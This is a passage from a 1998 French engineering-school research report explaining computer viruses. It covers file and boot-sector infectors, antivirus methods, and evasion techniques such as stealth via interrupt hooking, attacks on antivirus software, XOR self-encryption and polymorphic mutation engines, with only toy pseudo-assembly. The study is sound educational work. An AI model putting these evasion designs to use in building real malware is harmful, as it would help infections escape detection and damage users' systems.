Erwan Lemonnier
Supaero – juin 98
Introduction -
p3
Présentation et objectif de ce PIR (Projet
d’Initiation a la Recherche)
1. Structure d’un virus informatique - p5
1.1.
Définition d’un système informatique
- p5
1.2.
Principe de fonctionnement du virus
- p6
1.3.
Comparaison critique avec le virus biologique. – p7
1.4.
Les principaux types de virus : virus système et infecteur de
fichier - p7
1.5.
La charge facultative d’un virus
- p8
2. Programmations des types fondamentaux de virus - p9
2.1.
Virus infecteur de fichiers -
p9
2.2.
Virus système -
p11
3. Stratégie de lutte contre les virus - p12
3.1.
Les scanners - p12
3.2.
Les moniteurs de comportements
- p13
3.3.
Le contrôle d’intégrité - p13
4. Les virus contre-attaquent - p14
4.1.
Stratégies de base - p14
4.2.
Les virus furtifs - p15
4.3.
Les virus répressifs - p16
4.4.
Les virus autocryptés - p16
4.5.
Les virus polymorphes. Description d’un Moteur de Mutation - p19
4.6.
Les virus génétiques -
p22
5. Riposte des antivirus - p22
5.1.
Analyse spectrale - p23
5.2.
Analyse heuristique - p23
6. Perspective d’avenir - p24
6.1.
Dangers et bienfaits des virus - p24
6.2.
L’escalade technique entre virus et antivirus cessera-t-elle un
jour ?
- p25
1. Description de la HP48 - p26
1.1.
Qu’est ce que la HP48 ? - p26
1.2.
Pourquoi la HP48 ? - p27
1.3.
Le langage de la HP48 - p27
1.4.
Le microprocesseur de la HP48 - p28
1.5.
Structure de la mémoire de la HP48 - p29
2. Virus écris en langage de haut niveau, infecteur de
programme
- p30
2.1.
Principe
- p30
2.2.
Le virus détaillé - p30
2.2.1. Recherche d’un
fichier à infecter
- p30
2.2.2. Processus de
reproduction
- p32
2.3.
Listing complet -
p33
2.4.
Commentaires
- p33
3. Virus infecteur de librairie en assembleur - p34
3.1.
Description de l’objet librairie - p34
3.2.
Fonctionnement du virus - p36
3.3.
Listing commenté du virus - p38
3.4.
Conclusion
- p44
4. Un virus système résidant : LiPA - p45
4.1.
Fonctionnement du reset de la HP48 et de sa Main Loop - p45
4.2.
Fonctionnement de LiPA - p45
4.2.1. Auto-camouflage - p46
4.2.2. Auto-propagation - p46
4.3.
Conclusion sur LiPA - p47
5. Virus hybride résidant et autocrypté - p48
5.1.
Fonctionnement du virus - p48
5.1.1. Installation du virus lors
du reset
- p48
5.1.2. Main Loop du virus - p48
5.1.3. Chiffrement du virus - p51
5.2.
Listing commenté du virus - p51
5.3.
Conclusion sur ce virus - p58
6. Conclusion sur la partie expérimentale: difficultés et
intérêt de la programmation - p59
Références
bibliographiques
- p60
Introduction
Les virus
informatiques sont très en vogue dans la presse informatique à sensation. Ces
programmes, qui s’infiltrent et se reproduisent dans un ordinateur à l’insu de
son propriétaire pour en prendre le contrôle et y causer d’éventuels dégâts,
engendrent une fascination craintive et crédule. Il est en effet difficile
d’estimer l’importance réelle à accorder à ces programmes, tant les médias
aiment à entretenir cette aura trompeuse qui les entoure.
Pourtant,
l’informaticien curieux qui décide de s’intéresser au sujet et parvient à faire
la part de la vérité sur les virus, découvre en eux des objets éminemment
intéressant. Le concept même d’un programme capable de se reproduire et
d’ « exister » de manière autonome est séduisant en soi. De
plus, la compétition engagée entre les programmeurs de virus et d’antivirus a
créé une émulation favorable au développement de techniques de programmations
de pointes, où libre court est donné à l’imagination du programmeur. C’est
ainsi qu’on rencontre des virus qui se chiffrent eux même ou sont polymorphes.
L’ordinateur devient une jungle passionnante où évolue une faune virale
pittoresque. Malheureusement, les virus, comme leur nom l’indique sont souvent
employés dans un but destructeur et les dégâts logiciels qu’ils causent
atteignent des sommes élevées. C’est pourquoi la lutte antivirus revêt une
telle importance. Pour la mener à bien, il est nécessaire de commencer par
démystifier et comprendre les virus informatiques.
Le but de ce Projet
d’Initiation à la Recherche est d’expliquer dans une première partie le
fonctionnement des virus informatiques, puis, dans une seconde partie, de
mettre en pratique ces algorithmes pour réaliser un virus complet et efficace.
Dans une première
partie, nous nous attacherons à dégager les principes généraux employés dans la
programmation des virus, indépendamment de la machine utilisée, et ce en
faisant la synthèse d’une double expérience de la programmation des virus, à la
fois sur PC et ordinateur de poche. Nous commencerons donc par analyser la
structure des virus fondamentaux, puis nous étudierons le fonctionnement des
logiciels antivirus afin de comprendre les perfectionnements plus récents des
virus.
Dans la seconde partie, nous illustrerons les
principaux type de virus en étudiant un exemple de chacun d’eux, programmé sur
un ordinateur de poche, du type HP48. Nous pousserons cette étude, entre autre,
jusqu’à l’écriture d’un virus système et d’un virus hybride autocrypté.
Première
Partie :
Structure des Virus Informatiques
L’objectif de cette partie
est de présenter les principes généraux de la programmation des virus et des
logiciels antivirus, par ordre de complexité croissante des techniques
employées, et avec une volonté de généralisation.
Elle a été entre autre
inspiré par les travaux de Mark Ludwig, chercheur américain, et en particulier
par son livre ‘Du virus à l’antivirus’.
1. Structure d’un virus informatique
1.1.
Définition d’un
système informatique
On entendra par
ordinateur une machine dotée d’une mémoire contenant des programmes et des
données, et d’une unité centrale (ou CPU) capable d’exécuter ces programmes, de
lire et d’écrire en mémoire. Pour la CPU, toute information située en mémoire
(programme comme donnée) peut être modifiée, donc en particulier, un programme
peut s’auto-modifier ou modifier d’autres programmes.
On entendra par système
informatique un ordinateur, isolé ou en réseau, muni d’un système
d’exploitation et de logiciels et données utilisateurs. On définit deux types
de fichiers : ceux utilisés par le système et un éventuel administrateur
système, et ceux de l’utilisateur normal. Dans un usage courant, on souhaite
conserver l’intégrité de certains fichiers, c’est à dire d’en interdire toute
modification non autorisée. Ce peut être le cas des fichiers systèmes en
général, ou de fichiers utilisateurs de type logiciel ou données importantes.
Le virus informatique, par son principe de fonctionnement, va porter atteinte à
l’intégrité des fichiers, et présente donc une menace.
1.2.
Principe
de fonctionnement du virus
Un virus informatique est un
programme, intégré dans un programme hôte ou localisé dans un champ spécifique
de la mémoire, capable lors de son exécution de créer une copie de lui même
qu’il insère dans un autre programme hôte ou sur un autre champ de mémoire. Ce
programme possède donc une propriété essentielle et originale : il
s’auto-reproduit. De tels programmes sont donc assez mobile, et échappent
aisément au contrôle de l’utilisateur, c’est pourquoi ils sont souvent utilisés
pour véhiculer un algorithme destructeur.
Un
virus doit contenir au moins deux parties pour pouvoir se reproduire lui
même : un algorithme de recherche d’un fichier hôte à infecter, et un
algorithme de recopie sur le fichier hôte. On y ajoute éventuellement une
troisième étape (destruction, espionnage…) qui sera détaillée en 1.5.
L’organigramme fondamental d’un virus
informatique est donc le suivant :

Figure 1 : Structures d’un virus
On
verra par la suite qu’il s’agit la d’un schéma simplifié, et que chacune de ces
parties existe sous de très nombreuses variantes que l’on choisira en fonction
de l’environnement dans lequel doit évoluer le virus : nature du système
informatique, structure des fichiers à infecter, antivirus à affronter…
Nous
tacherons de faire le tour de toutes ces variantes.
1.3.
Comparaison critique
avec le virus biologique.
Le terme de ‘virus
informatique’ fut proposé pour la première fois par Fred Cohen en 1985 dans une
thèse sur les programmes auto-reproducteur (voir Références Bibliographiques),
et s’appuie sur des similitudes entre les virus informatiques et biologiques.
Ils ont en effet pour point
commun d’introduire une séquence d’instruction, sous forme de programme pour
l’un et de morceau d’ADN pour l’autre, dans un environnement (la cellule ou
l’ordinateur), où cette séquence va être exécutée, c’est à dire reproduite. De
plus, les virus les plus évolués possèdent des moteurs de mutations leur
permettant de générer des versions nouvelles d’eux même, et sont capables de
s’adapter à la présence d’un antivirus pour optimiser leur chance de lui
échapper (virus génétiques, voir 4.6). Ils ont ainsi des propriétés qui
rappellent les capacités de mutation et d’adaptation des virus biologiques,
leur point commun étant de devoir s’adapter à un environnement hostile, où il
faut affronter selon le cas le système immunitaire ou le logiciel antivirus.
Cependant, le terme de virus
est sujet à polémique. En effet, la métaphore biologique qui l’a inspirée est
limitée car ces deux entités agissent dans des environnements totalement
différents, et leurs fonctionnements détaillés n’ont rien en commun. En
particulier, la notion de vie attachée au virus biologique ne peut être appliquée
à un programme informatique. De plus, le terme ‘virus’ est porteur d’une forte
charge émotionnelle, largement entretenue par la presse informatique, et qui
déforme l’opinion qu’on peut se faire de ces programmes. Enfin, pour beaucoup
de gens, un virus est simplement un programme nuisible, indépendamment de toute
notion d’auto-reproductibilité. Une dénomination mieux appropriée a été
suggérée par Mark Ludwig dans son ouvrage de référence ‘Naissance d’un
virus’ : il s’agit de Code Parasite Auto-Propageable (CPA). Dans le
présent rapport, le terme virus sera toujours à prendre dans le sens de CPA.
1.4.
Les principaux types
de virus : Virus système et infecteur de fichier
On distingue 2 grandes
catégories de virus, indépendamment de la machine pour laquelle un virus est
écrit : les virus infecteurs de fichiers et les virus systèmes (ou
résident).
Tout système informatique
possède des programmes à l’usage de l’utilisateur, qui sont susceptibles de
contenir un virus. Ceux-ci sont dit infecteurs de fichiers. Ils sont exécutés à
chaque appel du programme qui les contient et assurent alors leur propagation.
D’autre part, à chaque mise
sous tension, tout ordinateur commence par évaluer une série de programmes de
démarrage qui lui permettent de se configurer. Bien souvent, on peut modifier
le contenu de ces programmes pour y introduire le code d’installation d’un
virus ce qui permettra à celui-ci de prendre le contrôle du système dès sa mis
en service. Un tel virus est dit virus système.
La différence entre ces deux
virus viens donc de ce que le second infecte des programmes du système et n’est
exécuté qu’au démarrage, tandis que le premier infecte les programmes de
l’utilisateur et est exécuté à chaque appel de l’un d’eux. Il existe également
des virus hybrides présentant à la fois ces deux modes de fonctionnements.
Le fonctionnement de ces
virus dépend intimement du système informatique, c’est à dire :
·
Du microprocesseur employé, car un virus efficace est programmé en
langage machine et n’est donc pas portable.
·
De la façon dont interagissent les périphériques et l’unité centrale.
Par exemple, les PCs emploient une table d’interruptions utilisée par les virus
pour détourner certaines fonctions du système, dont on ne trouve pas
l’équivalent sur une calculatrice de type HP48.
·
Du fonctionnement du démarrage de la machine, dans le cas des virus
systèmes.
·
De la structure des objets exécutables. Sur un PC, les fichiers .COM,
.SYS et .EXE qui sont les cibles privilégiées des virus infecteurs de fichiers
ne sont pas structurés de la même façon en mémoire. De même pour les objets
programmes et librairies que nous étudierons sur la HP48.
On constate au vu de ces
contraintes qu’un virus est un programme très spécifique, adapté à une cible
précise, et dans un environnement précis. Cependant, un virus peut être conçu
de telle sorte qu’il infecte toute forme de code, même celui qui doit encore
être compilé ou interprété avant d’être exécuté. Ainsi, un virus peut infecter
des programmes de types différents, ou encore un programme en C ou en Basic et
n’est donc absolument pas limité à l’infection des programmes écrits en langage
machine.
1.5.
La charge
facultative d’un virus
D’un certain point de vue,
le virus informatique est un support pour véhiculer un programme de façon
invisible et efficace. Sous ce point de vue, la partie facultative décrite en
1.2 a un rôle essentiel. Dans la majorité des virus, il s’agit d’un programme
destructeur, visant à effacer des fichiers importants ou à planter la machine.
Il peut aussi servir à espionner le système pour, par exemple, lister les mots
de passes des utilisateurs et les transmettre au programmeur du virus. Le champ
des possibilités a en fait l’imagination du programmeur pour seule limite.
Notons que cette action peut
aussi être bénéfique. Il existe par exemple des virus antivirus, qui élimine
certains virus cibles lorsqu’ils sont présents sur le programme hôte qu’ils
infectent, et contrôlent ensuite leur hôte pour alerter toute tentative
d’infection. D’autres servent à économiser de la mémoire en compressant le
programme hôte, et en le décompressant à chaque exécution.
Ainsi, la propriété de
reproduction autonome des virus présente à la fois de nets risques et de grands
avantages. C’est donc une technique digne d’étude.
2.
Programmations des
types fondamentaux de virus
2.1.
Préliminaires
Les programmeurs de virus
utilisent énormément d’astuces ou de failles des systèmes informatiques qui
sont très spécifiques, c’est pourquoi les algorithmes qui vont vous être
présentés dans cette partie sont des cas possibles parmi beaucoup d’autre, dont
on ne peut dresser ici une liste exhaustive. L’inventivité des programmeurs de
virus est en effet stupéfiante. D’autre part, pour ne pas rentrer dans des
détails de programmation qui seront ultérieurement étudiés en partie 2, les
algorithmes fournis seront simplifiés à l’extrême.
2.2.
Les virus infecteurs
de fichier
Tout virus infecteur de
fichier exécute en premier une routine de recherche d’un fichier hôte sain à
contaminer. Prenons le cas d’un virus cherchant un fichier .HOT dans une
arborescence de répertoires DIR. L’organigramme d’une telle routine pourrait
être le suivant :

Figure 2 : Algorithme de recherche d’un fichier à
infecter
Il existe plusieurs façons
d’installer un virus infecteur dans un fichier hôte (partie infection
ci-dessus). Nous en distinguerons 3 :
·
Par recouvrement du programme hôte par le code du virus. Le programme
hôte est alors perdu. Notons qu’un tel virus est très facile à réaliser mais
aisément identifiable.
·
En renommant le programme hôte
avec un nom excentrique, et en prenant le nom original de l’hôte (virus
compagnon).
·
Ou en se copiant à l’intérieur du programme hôte, ce qui impose d’en
modifier la structure.
La dernière stratégie est la
plus employée car c’est la plus discrète. Etudions la en détail. Sois un
programme .HOT à infecter. Sa structure en mémoire est typiquement :
Zone Préfixe de Programme
Programme .HOT
Figure 3.1 : Structure d’un fichier à infecter
Un virus a alors 2 façons de
s’introduire dans le programme .HOT : en se copiant au début du programme
et en décalant ce dernier , ou en se copiant a la fin et en incluant un
saut au début du fichier .HOT.


Figure 3.2 : Fichier infecté par un virus parasite
Un dernier type de virus
infecteur de fichier est le virus résidant. Celui-ci ne se reproduit pas
lorsque le programme hôte est exécute, mais se recopie dans un zone mémoire où
il reste en veille en détournant par exemple des interruptions systèmes (cas du
PC). Il ne se reproduira que lorsque l’interruption sera appelée. Il est ainsi
dissocié de son programme hôte, ce qui réduit les risques de se faire repérer.
2.3.
Les virus systèmes
Chaque système informatique
(PC, station Sun, HP48…) possède son propre mode de démarrage, auquel le virus
système est intimement lié. Nous allons donc
nous restreindre au cas des PC pour comprendre comment marche un virus
système.
Lors de sa mise sous
tension, la CPU (unité centrale) du PC commence par exécuter un programme écrit
en ROM, le BIOS, chargé de configurer la machine autour de la CPU. En fin
d’exécution, le BIOS recherche une zone mémoire, appelée secteur de démarrage,
et charge la CPU de l’exécuter. Ce secteur de démarrage contient un programme
construit par le système d’exploitation pour permettre à la CPU de le lancer.
Le virus système est installé de façon à être exécuté avec ce programme. Pour
cela, il le remplace en général sur le secteur de démarrage, après en avoir
fait une copie qui sera exécuté après le virus.
Pour se reproduire, le virus
système a 2 possibilités : soit il cherche un autre disque pour en
infecter le secteur de démarrage (Tout disque, ou disquette, en contiens
effectivement un). Soit, il infecte un fichier utilisateur, depuis lequel il
infectera ultérieurement un autre disque, ou encore il se fait résidant. Dans
ce dernier cas, le virus est dit hybride.
Un virus système
rudimentaire pourrait fonctionner comme suit (Figures 4.1 et 4.2) :


Figure 4.1 :
appel du virus système au démarrage.
Figure 4.2 :
Action d’un virus système simple
3.
Stratégies de lutte
contre les virus
Les virus étant le plus
souvent dangereux pour l’ordinateur, il est nécessaire de réussir à les
détecter pour les éliminer. Il existe pour cela de nombreuses techniques.
3.1.
Le scanning
Les virus que nous avons vu
sont identiques d’une copie à l’autre. Il est donc aisé, une fois le virus
identifié, de lui prélever une chaîne d’octets, et de parcourir toute la
mémoire à la recherche d’une chaîne similaire. C’est le principe du scanning.
Pour que cette chaîne soit représentative du virus, et que l’on minimise le
risque de trouver un programme sain comportant une chaîne identique, on prélève
cette chaîne dans une partie caractéristique du virus, par exemple son
algorithme d’infection, et on la prend d’une longueur maximale. De plus,
l’antivirus effectue des tests complémentaires lorsque cette chaîne est
retrouvée en mémoire, pour éviter toute incertitude.
Un logiciel antivirus
utilisant le scanning contiens une base de données de chaînes extraites de
virus, associées à des procédures spécifiques pour identifier précisément et
éliminer chaque virus connu. Un tel logiciel a l’avantage d’être simple à utiliser
et de fournir des informations claires, du type ‘Le fichier Truc.HOT a été
infecté par le virus Un_Tel’. Il est donc très apprécié par la majorité non
spécialiste des utilisateurs d’ordinateurs. Son inconvénient est de nécessiter
de constantes mises à jour de sa base de donnée pour s’adapter à l’apparition
de virus nouveaux. De plus, il est totalement démuni face à un virus
polymorphe.
3.2.
Les moniteurs de
comportement
C’est un programme qui
surveille le système à la recherche d’une action trahissant la présence d’un
virus. Cette action peut être par exemple une demande d’ouverture en écriture
d’un fichier programme ou une tentative d’écriture sur un secteur de démarrage.
Sur un PC, un tel logiciel se présente sous la forme d’un programme résidant qui
détourne quelques interruptions du système généralement employées par les
virus, pour donner l’alerte lorsqu’elles seront employées. Il existe également
des moniteurs matériels, effectuant un contrôle au niveau du hardware de façon
à interdire physiquement un accès douteux à certaines zones mémoires. Un tel
moniteur offre une sécurité absolue, mais doit être intégré à la structure
matérielle de l’ordinateur.
Ce genre d’antivirus est
plus sûr que le scanner, car il est susceptible de détecter un virus inconnu,
mais est difficile d’emploi pour un utilisateur peu averti, car il n’identifie
pas formellement un virus et ne peu donc l’effacer. C’est à l’utilisateur de
gérer lui-même la présence du virus.
3.3.
Le contrôleur
d’intégrité
Schématiquement, un contrôleur
d’intégrité va construire un fichier contenant les noms de tous les fichiers
présents sur le disque, ainsi que quelques unes de leurs caractéristiques (date
de dernière modification, taille, code de redondance cyclique…). Ils
surveillent régulièrement ces fichiers, et alerteront l’utilisateur dès que les
paramètres de l’un d’eux auront été modifiés. Il effectue alors des tests sur
le fichier suspect, pour déterminer si il est infecté ou si il s’agit d’une
manipulation de l’utilisateur. L’inconvénient est qu’un programme déjà infecté
lors de son marquage par le moniteur de comportement ne sera pas considéré
comme suspect par la suite.
4.
Les virus
contre-attaquent
4.1.
Stratégie de base
Avec
l’apparition des premiers logiciels antivirus, les programmeurs de virus se
sont mis à chercher des méthodes pour permettre à leur virus d’échapper à la
détection de l’antivirus. Ils en ont trouvé de nombreuses, allant de la simple
astuce de programmation à la conception sophistiquée de virus auto-modifiants.
Les
méthodes les plus simples sont passives, et consistent à rendre le virus le
plus discret possible dans son exécution. Les contraintes imposées au virus
seront par exemple :
·
D’être le plus petit possible en terme de taille mémoire. Le virus sera
donc écrit en utilisant au maximum des appels à des fonctions toutes faites
intégrées au système d’exploitation (interruptions du DOS dans le cas des PC et
appel à des programmes basés en ROM pour la HP48). Il évitera également de
contaminer plus d’une fois un même programme afin de ne pas modifier
exagérément sa taille. Pour cela, les virus posent en général une sorte de
signature sur les programmes infectés, qui peuvent être une modification dans
la date de création du programme ou l’insertion d’une chaîne d’octets
caractéristique. A titre d’anecdote, il existe des virus infecteurs de fichiers
qui compressent leur programme hôte avant de s’y recopier pour ne pas en
modifier la taille. Ils le décompressent ensuite à chaque utilisation.
·
De s’exécuter rapidement pour ne pas éveiller l’attention de
l’utilisateur. En effet, un lecteur de disquette en train d’écrire alors que
l’utilisateur ne s’en sert pas peut l’alerter. Le virus doit donc posséder un
algorithme de recherche de fichiers à contaminer et d’un mécanisme de
réplication les plus rapides possibles, quitte, par exemple, à abandonner la
recherche d’une cible s’il a dépassé un temps limite.
·
De ne pas apporter de modifications visibles à la structure des
répertoires utilisateurs, par exemple en renommant un programme.
Tous les virus actuels
répondent au moins à ces critères. Cependant, un virus qui vérifie ces
conditions peut échapper à la vigilance de l’utilisateur mais pas à celle d’un
logiciel antivirus, c’est pourquoi d’autres techniques plus sophistiquées ont
vu le jour.
4.2.
Les virus furtifs
Le
principe de la furtivité est de faire croire à l’antivirus que le virus n’est
pas là. Les techniques employées diffèrent selon que l’on considère un virus
système et un virus infecteur de fichiers. Pour pouvoir être précis, plaçons
nous dans un environnement PC.
4.2.1.
Cas du virus système
L’antivirus testera la présence d’un virus
système de deux manières. Il pourra commencer par aller lire les programmes du
secteur de démarrage. Pour cela, il effectue une demande de lecture en faisant
appel à une interruption du DOS. Or, rien n’empêche le virus d’avoir détourné
l’interruption en question vers un programme interne au virus, qui teste si la
demande de lecture est dirigée vers un secteur de démarrage, et si tel est le
cas l’oriente vers une copie de sauvegarde saine du secteur de démarrage.
L’antivirus croira ainsi le secteur sain et en conclura l’absence de virus.
Cette méthode est efficace en particulier pour tromper les scanners.
Cette
méthode est ancienne (année 80) et les antivirus actuels la contournent en
faisant une lecture directement sur les ports d’entrée-sortie de la machine,
mais cela nécessite une programmation délicate qui prenne en compte l’aspect
électronique de la machine. On peut aussi imaginer que le scanner se dote d’un
programme d’analyse heuristique qui vérifie que la routine d’accès en lecture
pointée par la table des interruptions n’est pas celle d’un virus.
Les
virus peuvent encore réagir en détournant d’autres interruptions systèmes qu’un
antivirus souhaitant utiliser les entrées-sorties directement est obligé
d’appeler, afin de le tromper de nouveau. L’antivirus peut à son tour
contourner l’usage de ces interruptions.
On
prend ici conscience d’un phénomène essentiel : virus et antivirus se font
une guerre continuelle où chacun tente de dépasser l’autre par l’emploi de
techniques de plus en plus complexes.
Un
antivirus pourra également chercher un virus système en mémoire vive. En
effet , un virus système s’installe souvent comme résidant en mémoire et
doit donc y assurer sa furtivité. En général, l’antivirus teste la présence
d’un virus résidant en calculant la taille de mémoire vive disponible et en la
comparant avec la valeur indiquée par le système. Pour éviter d’être localisé ainsi,
le virus essaie de modifier le paramètre système donnant la taille de mémoire
vive. Il peut également quitter la mémoire vive dès que le système
d’exploitation a fini de se charger, pour aller se cacher dans une zone mémoire
inutilisée.
4.2.2.
Cas du virus
infecteur de fichier
Un
virus infecteur de fichier dispose lui aussi d’un large panel de tactiques pour
devenir furtif.
La
principale consiste à détourner les interruptions servant à lire un fichier,
pour, lorsqu’il s’agit d’un fichier infecté, modifier l’accès en le
re-dirigeant vers le même fichier mais sain. Là encore, virus et antivirus se
talonnent pour respectivement détourner et contourner un maximum
d’interruptions ayant trait à l’accès au fichiers.
Toutes
les techniques si dessus concernent des virus dans un environnement PC sous
DOS. Un autre système informatique ne possède pas forcement de possibilités
analogues au détournement des interruptions du DOS, aussi ces techniques de
furtivité ne sont elles pas généralisables. Par exemple, on ne peut rien faire
de tel sur HP48, et il faut y inventer d’autres méthodes.
4.3.
Les virus répressifs
Les virus peuvent aussi
adopter une attitude agressive vis à vis des antivirus. En effet, à part le
scanner et les analyseurs, les antivirus ne détectent la présence d’un virus
que lorsque celui-ci est exécuté ou en cours d’exécution. Le virus est donc
libre de vérifier la présence d’un antivirus connu, et s’il le trouve,
d’entreprendre une action en conséquence. Cette technique peut être d’autant
plus efficace que les antivirus les plus répandus sont en petit nombre, et
qu’il est donc possible de les lister et d’inclure dans le virus un programme
de traitement pour chacun.
Les virus utilisent alors
les mêmes techniques que les antivirus pour trouver ces derniers.
Le virus peut agir de
différentes manières contre l’antivirus: il peut simplement faire planter
l’ordinateur ou détruire le contenu d’un disque. Il peut reconnaître
l’antivirus et le modifier pour le rendre inoffensif. Dans le cas d’un
contrôleur d’intégrité, par exemple, il peut rechercher le fichier dans lequel
le contrôleur stocke les propriétés des programmes et l’effacer, ou le modifier
pour y inclure les modifications apportées à un programme lorsque celui-ci est
infecté. Certains virus désassemblent l’antivirus et y cherchent certaines
routines spécifiques pour les rendre inopérantes. Mais les techniques de ce
genre sont employées au cas par cas, car elles sont très dépendantes de
l’antivirus à contourner.
Bilan partiel :
Les virus répressifs et furtifs
que nous venons d’étudier ont l’inconvénient majeur d’utiliser une surenchère
d’astuces excessivement techniques, où aucune limite théorique ne vient borner
la complexité que l’on peut atteindre, ni assurer que l’un des deux, virus ou
antivirus, l’emportera sur l’autre. Cela conduit à l’écriture de virus de plus
en plus compliqués, donc de tailles importantes et lents. Pour fuir cette
impasse, les programmeurs de virus ont développé une technique totalement
différente, qui est à la fois très efficace et séduisante : les virus
polymorphes.
Avant d’en expliquer le
principe, il conviens de regarder ce qu’est un virus autocrypté.
4.4.
Les virus
autocryptés
Les virus autocryptés sont
une étape préliminaire à l’écriture de virus polymorphes.
Leur objectif est de
minimiser les chances d’être reconnus par un scanner ou un analyseur en
modifiant d’une copie à l’autre une partie de leur code. Ceci est obtenu en
chiffrant une partie du code du virus avec une clef de chiffrement qui varie à
chaque génération. Ainsi, différentes copies d’un virus autocryptés ne
possèdent qu’une faible portion de code en commun, portion constituée en fait
par la fonction de déchiffrement. Du coup, un scanner doit posséder une portion
du code de cette fonction pour espérer identifier le virus.
Un
virus autocrypté agit comme suit :
· Lorsqu’il est dans
un programme hôte, il est entièrement chiffré à l’exception de la fonction de
déchiffrement. Lors de l’exécution du programme hôte, c’est cette fonction qui
est appelée en premier. Elle recopie alors le virus dans un espace de mémoire
libre, l’y déchiffre, et lui passe le contrôle. Celui-ci s’exécute, puis passe
le contrôle en retour au programme hôte qui s’exécute normalement.
· Lorsqu’il est en
mémoire à l’état déchiffré, il recherche un fichier ou un secteur à infecter.
Celui-ci trouvé, il ne s’y recopie pas tel quel, mais y écris une version
chiffrée de lui-même, avec une nouvelle clef de chiffrement aléatoire qu’il
inclut dans la nouvelle fonction de déchiffrement, afin qu’elle puisse déchiffrer
le code de son virus. Ainsi, le code de cette version lui diffère totalement, à
l’exception de la boucle de déchiffement toujours visible.
La
figure 5.1 représente un cas possible de virus autocrypté infecteur de fichier,
et la figure 5.2 explique le fonctionnement du programme d’infection de ce
virus.

Figure 5.1 :
Fonctionnement d’un virus autocrypté infecteur de fichier

Figure 5.2 : Détail des actions du programme d’infection
du virus décris en 5.1
Comment
s’effectue le chiffrement ?
Il
existe une quantité de méthodes de chiffrement. Ici, on ne cherche pas à
protéger une information, mais juste à la rendre méconnaissable, aussi les
programmeurs de virus autocryptés optent ils le plus souvent pour le
chiffrement le plus simple : le ou-exclusif avec une clef choisie
aléatoirement. Cette clef est souvent une chaîne de bit prise dans une zone
mémoire dont le contenu change fréquemment (compteur d’horloge, buffer d’entré
-sortie…).
4.5.
Les virus
polymorphe. Description d’un Moteur de Mutation.
Les virus autocryptés
possèdent une faille d’importance : la fonction de déchiffrement est
conservée d’une génération à l’autre, et permet donc d’identifier aisément le
virus à l’aide d’un scanner. D’où un défi posé aux programmeurs de virus :
concevoir un programme qui puisse fabriquer des boucles de déchiffrement en
nombre élevé et toutes différentes les unes des autres. Ce programme serait
inclus dans la partie chiffrée d’un virus autocrypté. Ainsi, un tel virus
n’aurait potentiellement aucun point commun avec les copies de lui-même qu’il
générerait, puisque le code de sa partie cryptée serait à chaque fois
diffèrent, et que celui de sa boucle de déchiffrement présenterait toujours de
légères variations d’une copie à l’autre, empêchant ainsi l’existence de
chaînes de code commune. Pour cette raison, on baptiserait ce virus :
polymorphe. Un virus polymorphe serait invulnérable aux scanners, qui
représentent la majorités des logiciels antivirus utilisés, et pourrait même
employer des techniques de furtivité pour échapper aux autres antivirus.
Or,
il est possible d’écrire un tel programme générateur de fonctions de
déchiffrement. Il est appelé Moteur de Mutation (Mutation Engine). Nous allons
étudier la structure de ce moteur, pour ensuite décrire l’architecture de base
d’un virus polymorphe.
4.5.1.
Fonctionnement du
Moteur de Mutation
Le Moteur de Mutation est un
programme capable de construire des boucles de déchiffrement implantant la même
fonction, mais codées différemment.
Il y
a plusieurs façons de réaliser un tel programme, selon que l’on souhaite une
plus ou moins grande efficacité dans la variété des boucles à générer. Une
première possibilité consiste à fabriquer une fonction de déchiffrement simple,
et à la stocker comme donnée, instruction par instruction, dans un programme.
Celui-ci la recopiera en intercalant aléatoirement entre chaque instruction de
la boucle une instruction inutile et sans effet sur le fonctionnement de la
boucle. On pourra par exemple intercaler des instruction nop (instruction
qui ne fait rien, codée sur un nombre variable de bits), ou modifier des
registres qui ne servent pas (mov
a b, xor a b…). Un tel programme est une
version simple d’un Moteur de Mutation et permet déjà de générer une grande
variété de boucles différentes. Nous allons illustrer cette idée.
Prenons
deux registres a et b d’un microprocesseur. L’instruction ‘mov x y’ sert à charger la valeur
de y dans x. ‘nop’ est une
instruction qui ne fait rien.
Considérons
le court programme :
Mov a #123
Mov b #ABC
Ce
programme se contente de charger les registres a et b avec respectivement les
nombres 123 et ABC, écrit en base hexadécimale.
Un tel
programme pourrait aussi s’écrire :
Mov a #123
Nop
Nop
Mov b #ABC
Nop
Ou
encore, si c est un registre inutilisé :
Mov a #123
Mov c #000
Nop
Mov b #ABC
Le Moteur de Mutation décrit
ci dessus pourrait à partir du programme initial générer ces 2 programmes. Pour
cela, il n’a besoin de connaître que le code machine des instructions ‘mov a #123’ et ‘mov b #ABC’, ainsi que les registres auxquels il ne doit pas
toucher (ici a et b). Il possède également une base de données contenant les
codes d’instructions tels que ‘nop’ et ‘mov c #000’ qu’il repartira
aléatoirement entre les instructions composant le programme initial.
Cependant,
dans cette première version du Moteur de Mutation, les instructions qui
composent la partie active de la boucle de déchiffrement restent les mêmes
d’une copie à l’autre. Or il est également possible de les faire varier d’une
copie à l’autre. En effet, tout programme en assembleur peut être codé de
plusieurs façons différentes car il faut faire des choix sur les registres
utilisés, les instructions pour les manipuler… de sorte que plutôt que de
représenter une unique boucle en donnée dans le Moteur de Mutation, on pourrait
enregistrer un arbre représentant pour chaque instruction ou groupe
d’instructions toutes les programmations possibles. On introduit ainsi un grand
nombre de variantes de boucles supplémentaires.
En
reprenant l’exemple précèdent, le programme initial pourrait aussi être
écrit :
Mov a #ABC
Mov b a
Mov a #123
Ou :
Mov a #ABC
Mov a #123
Xchg a b (échange les
contenus des registres a et b)
Pour
intégrer ces possibilités au moteur de mutation, il suffit de lui donner à
choisir, au moment où il devra écrire le code du programme initial, l’une des 3
séries d’instructions équivalentes que nous venons d’expliciter. Il intercale
ensuite des instructions inutiles entre celles qu’il doit écrire.
Ceci
ne fait que présenter le principe de base du Moteur de Polymorphisme. Il existe
de multiples perfectionnements aux 2 techniques présentées ci avant. A l’heure
actuel, un bon moteur de mutation est capable de déjouer tous les scanners
existants.
4.5.2.
Choix aléatoire
Le
Moteur de Mutation fait constamment appel à une procédure de choix aléatoire
(pour sélectionner un bloc d’instruction dans l’arbre des possibilités, une
instruction inutile à insérer…). Pour cela, il doit générer un nombre
aléatoire, ce qui est un problème pour un ordinateur.
La
technique la plus souvent employée pour obtenir un grand nombre aléatoire
consiste à utiliser une suite rapidement divergente et à lui entrer en
paramètre une valeur qui varie toujours, comme le compteur de l’horloge
système. Un exemple d’une telle suite est :
X(n+1)=(a*X(n)+c)mod(m)
4.5.3.
Structure d’un virus
polymorphe
La
figure 6 illustre la structure possible d’un virus polymorphe infecteur de
fichiers.
Code chiffré du virus


Figure 6 :
